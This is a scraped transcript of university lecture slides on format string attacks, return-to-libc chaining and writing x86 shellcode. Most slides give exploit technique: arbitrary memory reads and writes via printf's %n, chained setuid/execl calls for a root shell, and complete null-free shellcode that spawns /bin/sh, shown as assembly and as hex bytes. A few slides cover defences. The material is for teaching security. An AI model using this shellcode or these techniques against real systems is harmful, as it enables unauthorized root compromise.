cs 201 stack smashing

40
– 1 – CS 201 Format string vulnerabilities Return-to-libc

Upload: aziza

Post on 13-Jan-2016

48 views

Category:

Documents


0 download

DESCRIPTION

CS 201 Stack smashing. Stack smashing (buffer overflow). One of the most prevalent remote security exploits 2002: 22.5% of security fixes provided by vendors were for buffer overflows 2004: All available exploits: 75% were buffer overflows - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: CS 201 Stack smashing

– 1 –

CS 201

Format string vulnerabilitiesReturn-to-libc

Page 2: CS 201 Stack smashing

– 2 –

Printf hacks

printf: C formatted output functionprintf: C formatted output function

Relatives: sprintf, fprintf, saprintf, snprintf, vsprintf, vprintf, vfprintf, etc…..Relatives: sprintf, fprintf, saprintf, snprintf, vsprintf, vprintf, vfprintf, etc…..

int x = 42;int x = 42;

printf( “The value of X is, %d.\n”, x );printf( “The value of X is, %d.\n”, x );

>> The value of X is 42.>> The value of X is 42.

Valuable observation: Mixes control codes and data! Whee, room for Valuable observation: Mixes control codes and data! Whee, room for malware!malware!

Page 3: CS 201 Stack smashing

– 3 –

Our printf victim

Naïve program:Naïve program:

int main( int argc, char *argv[] ) {int main( int argc, char *argv[] ) {

printf( argv[1] );printf( argv[1] );

return 0;return 0;

}}

Unvalidated input! Time to stick in some malware!Unvalidated input! Time to stick in some malware!

Page 4: CS 201 Stack smashing

– 4 –

printf’s stack

printf argument 1

Pointer to format string

Return address

old base pointer

Stack grows high to low

size of a word (e.g. 4 bytes)

printf argument 2

printf( “%d %d”, arg1, arg2 );

local variables…

Page 5: CS 201 Stack smashing

– 5 –

Reading memory with printf

printf argument 1

Pointer to format string

Return address

old base pointer

Stack grows high to low

printf argument 2

Format specifier: %.8x – Print unsigned int

Can use this simple formatting to read off the values on the stack

int main(int argc, char *argv[]){printf( argv[1] );return 0;

}

$ ./printf %.8x.%.8x.%.8x%.8x%.8x.%.8x.%.8x%.8x.%.8x.%.8x%.8x.%.8x

61009d63.610097c0.00000000.0022ff40.61007549.00000002.615a06f4.0a010288.0022ff24.00000000.00000000.00000003

local variables…

Page 6: CS 201 Stack smashing

– 6 –

printf parameter access

Little-known printf format specifier:Little-known printf format specifier:

Can choose which parameter you reference!Can choose which parameter you reference!

printf(“%5$d %2$d”, 10, 20, 30, 40, 50, 60, 70, 80, 90);printf(“%5$d %2$d”, 10, 20, 30, 40, 50, 60, 70, 80, 90);

>> 50 20>> 50 20

So now we can access any parameter down the stack!So now we can access any parameter down the stack!

Page 7: CS 201 Stack smashing

– 7 –

Feeding yourself addresses%s%s format specifier format specifier

String format -> Takes an address, and prints it outString format -> Takes an address, and prints it out

char *pointer_to_string = “hello”;char *pointer_to_string = “hello”;

printf( “%s”, pointer_to_string );printf( “%s”, pointer_to_string );

>> hello>> hello

What can we do with this?What can we do with this?

Page 8: CS 201 Stack smashing

– 8 –

Feeding yourself addressesLooking at our victim code….Looking at our victim code….

int main( int argc, char *argv[] ) {int main( int argc, char *argv[] ) {

printf( argv[1] );printf( argv[1] );

return 0;return 0;

}}

So we can feed in values in our format string since it’s on the stack.So we can feed in values in our format string since it’s on the stack.

What does this mean?What does this mean?

We can now read from arbitrary addresses with %s!We can now read from arbitrary addresses with %s!

These values are stored on the These values are stored on the stack!stack!

Page 9: CS 201 Stack smashing

– 9 –

Writing memory

Another Little-known printf format specifier:Another Little-known printf format specifier:

Can write values with %n (number of characters written so far)Can write values with %n (number of characters written so far)

printf(“hello%n”, &my_int);printf(“hello%n”, &my_int);

printf(“%d”, my_int);printf(“%d”, my_int);

>> hello5>> hello5

So we can write small values into memory! (limited by length of our formatted output)So we can write small values into memory! (limited by length of our formatted output)

Using the trick of feeding ourselves addresses, we can write anywhere in memory Using the trick of feeding ourselves addresses, we can write anywhere in memory now!now!

Page 10: CS 201 Stack smashing

– 10 –

Writing large numbers

But what if we want to write large numbers? Like POINTERS.But what if we want to write large numbers? Like POINTERS.

Multiple, staggered writes, 1 byte at a time. Suppose we can write values 0-255 with Multiple, staggered writes, 1 byte at a time. Suppose we can write values 0-255 with no problem.no problem.

32-bit value 0x?? -> Little endian memory: ?? 00 00 0032-bit value 0x?? -> Little endian memory: ?? 00 00 00

Eg. Eg.

32-bit value 0x1A -> Little endian memory: 1A 00 00 0032-bit value 0x1A -> Little endian memory: 1A 00 00 00

Break it up into 4 1-byte writes.Break it up into 4 1-byte writes.

Page 11: CS 201 Stack smashing

– 11 –

Writing large numbers

Example: Suppose we want to write 0xAABBCCDD into memory address Example: Suppose we want to write 0xAABBCCDD into memory address 0x10000000.0x10000000.

MemoryMemory XX XX XX XXXX XX XX XX Address Address

First WriteFirst WriteAA 00 00 00AA 00 00 00 0x10000000 0x10000000

Second WriteSecond Write BB 00 00 00 BB 00 00 00 0x10000001 0x10000001

Third WriteThird Write CC 00 00 CC 00 00 0000 0x10000002 0x10000002

Fourth WriteFourth Write DD 00 00 00 DD 00 00 00 0x10000003 0x10000003

ResultResult AA BB CC DDAA BB CC DD

Page 12: CS 201 Stack smashing

– 12 –

What’s handy about printf

- Can get around all the no-execute flags on memory, since there’s no - Can get around all the no-execute flags on memory, since there’s no execution code…execution code…

- Can read and write anywhere we want to from memory- Can read and write anywhere we want to from memory

Another trick in our handy arsenal of hacker weapons…Another trick in our handy arsenal of hacker weapons…

But how to use this in getting us a shell? .. More in a bit..But how to use this in getting us a shell? .. More in a bit..

Page 13: CS 201 Stack smashing

– 13 –

Printf Protection

Good programming practice:Good programming practice:

Don’t ever do:Don’t ever do: printf( my_variable ); printf( my_variable );

Use:Use: printf( “%s”, my_variable );printf( “%s”, my_variable );

Format Guard:Format Guard:

- Special compiler- Special compiler

- encodes parameters at compile time- encodes parameters at compile time

- Can’t change the format at runtime- Can’t change the format at runtime

- Can have trouble with localized binaries, which have dynamically changing - Can have trouble with localized binaries, which have dynamically changing stringsstrings

Page 14: CS 201 Stack smashing

– 14 –

Return to libc

Idea:Idea:

- We (the attacker) can manipulate the stack.- We (the attacker) can manipulate the stack.

- The system may be clever, and not allow us to execute code on the stack.- The system may be clever, and not allow us to execute code on the stack.

- So… Let’s exploit existing code, called with our arguments- So… Let’s exploit existing code, called with our arguments

- libc is an attractive target, because it has very powerful functions, and is - libc is an attractive target, because it has very powerful functions, and is linked to by almost everythinglinked to by almost everything

(libc is the standard C library)(libc is the standard C library)

Page 15: CS 201 Stack smashing

– 15 –

Return to libc

How do we jump to libc code?How do we jump to libc code?

- Same as any buffer overflow exploit – overwrite a return address on - Same as any buffer overflow exploit – overwrite a return address on the stack.the stack.

How do we figure out where to jump to?How do we figure out where to jump to?

- A libc function is always in the same place on a single system. Can figure - A libc function is always in the same place on a single system. Can figure out where it is by writing a simple test program, or using gdb.out where it is by writing a simple test program, or using gdb.

Page 16: CS 201 Stack smashing

– 16 –

Return to libc

libc functions are called just like any other functionlibc functions are called just like any other function

- push arguments on the stack- push arguments on the stack

- push your return address onto the stack- push your return address onto the stack

- call the function- call the function

Since we’re exploiting a buffer overflow, this will appear on our stackSince we’re exploiting a buffer overflow, this will appear on our stack

Stack grows high to low

Functionaddress

Functionreturn addr

Arg1 Arg2 Arg3…

Page 17: CS 201 Stack smashing

– 17 –

Spawning a shell system()

Suppose we want to call system(“/bin/sh”) to drop our shell. It might look like Suppose we want to call system(“/bin/sh”) to drop our shell. It might look like this this

Since we’re exploiting a buffer overflow, this will appear on our stack…Since we’re exploiting a buffer overflow, this will appear on our stack…

(return addr is not important)(return addr is not important)

Stack grows high to low

system()address

returnaddr

pntr tostring

“/bin/sh”

Page 18: CS 201 Stack smashing

– 18 –

Spawning a shell system()

This drops a shell, but not a root shell.This drops a shell, but not a root shell.

Why? Have to setuid(0,0) self! Otherwise system() will drop our priveleges.Why? Have to setuid(0,0) self! Otherwise system() will drop our priveleges.

What to do?What to do?

Stack grows high to low

system()address

returnaddr

pntr tostring

“/bin/sh”

Page 19: CS 201 Stack smashing

– 19 –

Chaining return to libc calls

Need to call setuid(0,0) and then system(“/bin/sh).Need to call setuid(0,0) and then system(“/bin/sh).

Idea: Set the return address for when we call setuid() so when setuid() Idea: Set the return address for when we call setuid() so when setuid() returns, it jumps to system(). Clever!returns, it jumps to system(). Clever!

Stack grows high to low

setuid()address

system()addr

setuid()arguments

system()arguments

Page 20: CS 201 Stack smashing

– 20 –

Chaining setuid() & system()

Still one tragic flaw (hamartia)Still one tragic flaw (hamartia)

- setuid(0,0) has null bytes. We can’t write nulls if we’re doing a buffer - setuid(0,0) has null bytes. We can’t write nulls if we’re doing a buffer overflow exploit.overflow exploit.

What else can we do?What else can we do?

- Observation: execl(“/bin/sh”, “/bin/sh”, 0 ) can spawn root shell, without - Observation: execl(“/bin/sh”, “/bin/sh”, 0 ) can spawn root shell, without dropping out privileges.dropping out privileges.

- But it still has the “writing a null byte” problem- But it still has the “writing a null byte” problem

Page 21: CS 201 Stack smashing

– 21 –

Printf to the rescue

Recall:Recall:

- If we have access to the buffer, we can use printf to read and write - If we have access to the buffer, we can use printf to read and write arbitrary data to arbitrary addresses.arbitrary data to arbitrary addresses.

- Idea: Use printf() to write the nulls we need for us!- Idea: Use printf() to write the nulls we need for us!

- So: Chain printf() and execl()- So: Chain printf() and execl()

Page 22: CS 201 Stack smashing

– 22 –

Chaining return to libc calls

Printf() executes and constructs the arguments we need for execl().Printf() executes and constructs the arguments we need for execl().

Printf() completes, and returns to execl() which now has proper arguments Printf() completes, and returns to execl() which now has proper arguments for spawning /bin/shfor spawning /bin/sh

We get our root shell.We get our root shell.

Victory dance!Victory dance!

Stack grows high to low

printf()address

execl()addr

printf()arguments

execl()arguments

Page 23: CS 201 Stack smashing

– 23 –

Defending return-to-libc

Problems:Problems:

- Especially brittle if we’re not sure where we are in memory- Especially brittle if we’re not sure where we are in memory

Defences:Defences:

- Randomizing pointers will help- Randomizing pointers will help

- Canary values prevent buffer overflows- Canary values prevent buffer overflows

- Eliminate strcpy’s- Eliminate strcpy’s

Page 24: CS 201 Stack smashing

– 24 –

Extra slides (shellcode)

Page 25: CS 201 Stack smashing

– 25 –

Shellcode Attempt #1

11stst part: part:section .data section .data ; section declaration; section declaration

filepath db "/bin/shXAAAABBBB“filepath db "/bin/shXAAAABBBB“ ; the string; the string

section .text section .text ; section declaration; section declaration

global _start global _start ; Default entry point for ELF linking; Default entry point for ELF linking

_start:_start:

; setreuid(uid_t ruid, uid_t euid); setreuid(uid_t ruid, uid_t euid)

mov eax, 70 mov eax, 70 ; put 70 into eax, since setreuid is syscall #70; put 70 into eax, since setreuid is syscall #70

mov ebx, 0 mov ebx, 0 ; put 0 into ebx, to set real uid to root; put 0 into ebx, to set real uid to root

mov ecx, 0 mov ecx, 0 ; put 0 into ecx, to set effective uid to root; put 0 into ecx, to set effective uid to root

int 0x80 int 0x80 ; Call the kernel to make the system call happen; Call the kernel to make the system call happen

Page 26: CS 201 Stack smashing

– 26 –

Shellcode Attempt #122ndnd part: part:// filepath db "/bin/shXAAAABBBB" ; the string// filepath db "/bin/shXAAAABBBB" ; the string

; execve(const char *filename, char *const argv [], char *const envp[]); execve(const char *filename, char *const argv [], char *const envp[])

mov eax, 0 ; put 0 into eaxmov eax, 0 ; put 0 into eax

mov ebx, filepath ; put the address of the string into ebxmov ebx, filepath ; put the address of the string into ebx

mov [ebx+7], al ; put a NULL where the X is in the stringmov [ebx+7], al ; put a NULL where the X is in the string

; ( 7 bytes offset from the beginning); ( 7 bytes offset from the beginning)

mov [ebx+8], ebx ; put the address of the string from ebx where themov [ebx+8], ebx ; put the address of the string from ebx where the

; AAAA is in the string ( 8 bytes offset); AAAA is in the string ( 8 bytes offset)

mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where themov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the

; BBBB is in the string ( 12 bytes offset); BBBB is in the string ( 12 bytes offset)

mov eax, 11 ; Now put 11 into eax, since execve is syscall #11mov eax, 11 ; Now put 11 into eax, since execve is syscall #11

lea ecx, [ebx+8] ; Load the address of where the AAAA was in thelea ecx, [ebx+8] ; Load the address of where the AAAA was in the

; string into ecx; string into ecx

lea edx, [ebx+12] ; Load the address of where the BBBB is in thelea edx, [ebx+12] ; Load the address of where the BBBB is in the

; string into edx; string into edx

int 0x80 ; Call the kernel to make the system call happenint 0x80 ; Call the kernel to make the system call happen

Page 27: CS 201 Stack smashing

– 27 –

Shellcode problem #1

Uses pointers/addresses that are unavailable during exploitUses pointers/addresses that are unavailable during exploit

filepath db "/bin/shXAAAABBBB“filepath db "/bin/shXAAAABBBB“

mov ebx, filepath ;mov ebx, filepath ; put string address into ebxput string address into ebx

We don’t know where this code is going to be relocated. Can’t use a pointer in our buffer overflow!

Uses two segments – a data segment to store “/bin/sh”Uses two segments – a data segment to store “/bin/sh” Will only be injecting onto the stack

Page 28: CS 201 Stack smashing

– 28 –

Shellcode Trick #1

Get absolute addresses at run-timeGet absolute addresses at run-time

Observation:Observation:

1) “call” instruction pushes the current instruction pointer onto stack.1) “call” instruction pushes the current instruction pointer onto stack.

2) “call” and “jmp” instructions can take arguments relative to the current 2) “call” and “jmp” instructions can take arguments relative to the current instruction pointerinstruction pointer

We can use this to get address where our data is!We can use this to get address where our data is!

Page 29: CS 201 Stack smashing

– 29 –

Shellcode Trick #1

Need %ebx to point to stringNeed %ebx to point to string

Outline of trick:Outline of trick:

jmp twojmp two

one:one:

pop ebxpop ebx

[program code goes here][program code goes here]

two:two:

call onecall one

db ‘this is a string’db ‘this is a string’

Page 30: CS 201 Stack smashing

– 30 –

Shellcode Attempt #2

11stst part: part:; setreuid(uid_t ruid, uid_t euid); setreuid(uid_t ruid, uid_t euid)

mov eax, 70 mov eax, 70 ; put 70 into eax, since setreuid is syscall #70; put 70 into eax, since setreuid is syscall #70

mov ebx, 0 mov ebx, 0 ; put 0 into ebx, to set real uid to root; put 0 into ebx, to set real uid to root

mov ecx, 0 mov ecx, 0 ; put 0 into ecx, to set effective uid to root; put 0 into ecx, to set effective uid to root

int 0x80 int 0x80 ; Call the kernel to make the system call happen; Call the kernel to make the system call happen

jmp short two jmp short two ; Jump down to the bottom for the call trick; Jump down to the bottom for the call trick

one:one:

pop ebx pop ebx ; pop the "return address" from the stack; pop the "return address" from the stack

; to put the address of the string into ebx; to put the address of the string into ebx

[ 2[ 2ndnd part here] part here]

two:two:

call one call one ; Use a call to get back to the top and get the; Use a call to get back to the top and get the

db '/bin/shXAAAABBBB' db '/bin/shXAAAABBBB' ; address of this string; address of this string

Page 31: CS 201 Stack smashing

– 31 –

Shellcode Attempt #2

2nd part:2nd part:// the pointer to “/bin/shXAAAABBBB” already in %ebx// the pointer to “/bin/shXAAAABBBB” already in %ebx

; execve(const char *filename, char *const argv [], char *const envp[]); execve(const char *filename, char *const argv [], char *const envp[])

mov eax, 0 ; put 0 into eaxmov eax, 0 ; put 0 into eax

mov [ebx+7], al ; put the 0 from eax where the X is in the stringmov [ebx+7], al ; put the 0 from eax where the X is in the string

; ( 7 bytes offset from the beginning); ( 7 bytes offset from the beginning)

mov [ebx+8], ebx ; put the address of the string from ebx where themov [ebx+8], ebx ; put the address of the string from ebx where the

; AAAA is in the string ( 8 bytes offset); AAAA is in the string ( 8 bytes offset)

mov [ebx+12], eax ; put a NULL address (4 bytes of 0) where themov [ebx+12], eax ; put a NULL address (4 bytes of 0) where the

; BBBB is in the string ( 12 bytes offset); BBBB is in the string ( 12 bytes offset)

mov eax, 11 ; Now put 11 into eax, since execve is syscall #11mov eax, 11 ; Now put 11 into eax, since execve is syscall #11

lea ecx, [ebx+8] ; Load the address of where the AAAA was in the stringlea ecx, [ebx+8] ; Load the address of where the AAAA was in the string

; into ecx; into ecx

lea edx, [ebx+12] ; Load the address of where the BBBB was in the stringlea edx, [ebx+12] ; Load the address of where the BBBB was in the string

; into edx; into edx

int 0x80 ; Call the kernel to make the system call happenint 0x80 ; Call the kernel to make the system call happen

Page 32: CS 201 Stack smashing

– 32 –

Shellcode Problem #2

Looks like we have a working shellcode now!Looks like we have a working shellcode now!

But… remember how we’re injecting it?But… remember how we’re injecting it?

strcpy( buffer, argv[1] );strcpy( buffer, argv[1] );

NULLNULL terminated string.terminated string.

Let’s look at the assembled shell code.Let’s look at the assembled shell code.

Page 33: CS 201 Stack smashing

– 33 –

Shellcode Problem #2

La Voila! Shellcode! La Voila! Shellcode!

b846 0000 0066 bb00 0000 0066 b900 0000b846 0000 0066 bb00 0000 0066 b900 0000

00cd 80eb 2866 5b66 b800 0000 0067 884300cd 80eb 2866 5b66 b800 0000 0067 8843

0766 6789 5b08 6667 8943 0c66 b80b 00000766 6789 5b08 6667 8943 0c66 b80b 0000

0066 678d 4b08 6667 8d53 0ccd 80e8 d5ff0066 678d 4b08 6667 8d53 0ccd 80e8 d5ff

2f62 696e 2f73 6858 4141 4141 4242 42422f62 696e 2f73 6858 4141 4141 4242 4242

But all the nulls! But all the nulls!

If injected bytes include any NULL bytes, it will “terminate” exploit that uses strcpy

Where do all these nulls come from?Where do all these nulls come from?

Page 34: CS 201 Stack smashing

– 34 –

Shellcode Trick #2a

Loading up all the zeros in the registers for various reasons…Loading up all the zeros in the registers for various reasons…

mov eax, 0 ->mov eax, 0 ->

Causes 32-bits of 0’s to be written into our shellcode…Causes 32-bits of 0’s to be written into our shellcode…

Page 35: CS 201 Stack smashing

– 35 –

Shellcode Trick #2a

Idea! XOR of anything with itself gives us zeroIdea! XOR of anything with itself gives us zero

mov ebx, 0 -> xor ebx, ebxmov ebx, 0 -> xor ebx, ebx

mov ecx, 0 -> xor ecx, ecxmov ecx, 0 -> xor ecx, ecx

mov eax, 0 -> xor eax, eaxmov eax, 0 -> xor eax, eax

12 nulls removed!12 nulls removed!

As a nice side-benefit, it’s 9 bytes shorter too!As a nice side-benefit, it’s 9 bytes shorter too!

But still, some remaining nulls…But still, some remaining nulls…

Page 36: CS 201 Stack smashing

– 36 –

Shellcode Trick #2b

Where do the other nulls come from?Where do the other nulls come from?

Must load eax registers with the syscall numbers (setreuid = 70, execve = Must load eax registers with the syscall numbers (setreuid = 70, execve = 11)11)

mov eax, 70 ~= mov eax, 0x00000046mov eax, 70 ~= mov eax, 0x00000046

Idea: Set eax to zero with the last trick, and then overwrite the low-order byteIdea: Set eax to zero with the last trick, and then overwrite the low-order byte

xor eax, eaxxor eax, eax

mov al, 70mov al, 70

Page 37: CS 201 Stack smashing

– 37 –

Shellcode attempt #3

11stst part: part:; setreuid(uid_t ruid, uid_t euid); setreuid(uid_t ruid, uid_t euid)

xor eax, eax ; first eax must be 0 for the next instructionxor eax, eax ; first eax must be 0 for the next instruction

mov al, 70 ; put 70 into eax, since setreuid is syscall #70mov al, 70 ; put 70 into eax, since setreuid is syscall #70

xor ebx, ebx ; put 0 into ebx, to set real uid to rootxor ebx, ebx ; put 0 into ebx, to set real uid to root

xor ecx, ecx ; put 0 into ecx, to set effective uid to rootxor ecx, ecx ; put 0 into ecx, to set effective uid to root

int 0x80 ; Call the kernel to make the system call happenint 0x80 ; Call the kernel to make the system call happen

jmp short two ; Jump down to the bottom for the call trickjmp short two ; Jump down to the bottom for the call trick

one:one:

pop ebx ; pop the "return address" from the stackpop ebx ; pop the "return address" from the stack

; to put the address of the string into ebx; to put the address of the string into ebx

[2[2ndnd part here] part here]

two:two:

call one ; Use a call to get back to the top and get thecall one ; Use a call to get back to the top and get the

db '/bin/shXAAAABBBB' ; address of this stringdb '/bin/shXAAAABBBB' ; address of this string

Page 38: CS 201 Stack smashing

– 38 –

Shellcode attempt #3

22ndnd part: part:; execve(const char *filename, char *const argv [], char *const envp[]); execve(const char *filename, char *const argv [], char *const envp[])

xor eax, eax ; put 0 into eaxxor eax, eax ; put 0 into eax

mov [ebx+7], al ; put the 0 from eax where the X is in the stringmov [ebx+7], al ; put the 0 from eax where the X is in the string

; ( 7 bytes offset from the beginning); ( 7 bytes offset from the beginning)

mov [ebx+8], ebx ; put the address of the string from ebx where themov [ebx+8], ebx ; put the address of the string from ebx where the

; AAAA is in the string ( 8 bytes offset); AAAA is in the string ( 8 bytes offset)

mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where themov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the

; BBBB is in the string ( 12 bytes offset); BBBB is in the string ( 12 bytes offset)

mov al, 11 ; Now put 11 into eax, since execve is syscall #11mov al, 11 ; Now put 11 into eax, since execve is syscall #11

lea ecx, [ebx+8] ; Load the address of where the AAAA was in the stringlea ecx, [ebx+8] ; Load the address of where the AAAA was in the string

; into ecx; into ecx

lea edx, [ebx+12] ; Load the address of where the BBBB was in the stringlea edx, [ebx+12] ; Load the address of where the BBBB was in the string

; into edx; into edx

int 0x80 ; Call the kernel to make the system call happenint 0x80 ; Call the kernel to make the system call happen

Page 39: CS 201 Stack smashing

– 39 –

Other things we could do..

More tricks to shorten assembly:More tricks to shorten assembly:

Push “/bin/sh” onto the stack as immediate values, instead of using the call Push “/bin/sh” onto the stack as immediate values, instead of using the call trick.trick.

Shave off bytes, because not all instructions are the same size. Eg.Shave off bytes, because not all instructions are the same size. Eg.

xor eax, eaxxor eax, eax ->-> push byte 70push byte 70

mov al, 70mov al, 70 ->-> pop eaxpop eax

4 bytes4 bytes 3 bytes3 bytes

Page 40: CS 201 Stack smashing

– 40 –

Final Shellcode

Assembled:Assembled:

31c0 b046 31db 31c9 cd80 eb16 5b31 c08831c0 b046 31db 31c9 cd80 eb16 5b31 c088

4307 895b 0889 430c b00b 8d4b 088d 530c4307 895b 0889 430c b00b 8d4b 088d 530c

cd80 e8e5 ffff ff2f 6269 6e2f 7368 cd80 e8e5 ffff ff2f 6269 6e2f 7368 58415841

4141 4142 4242 424141 4142 4242 42

55 bytes!55 bytes!

Can be shortened further…Can be shortened further…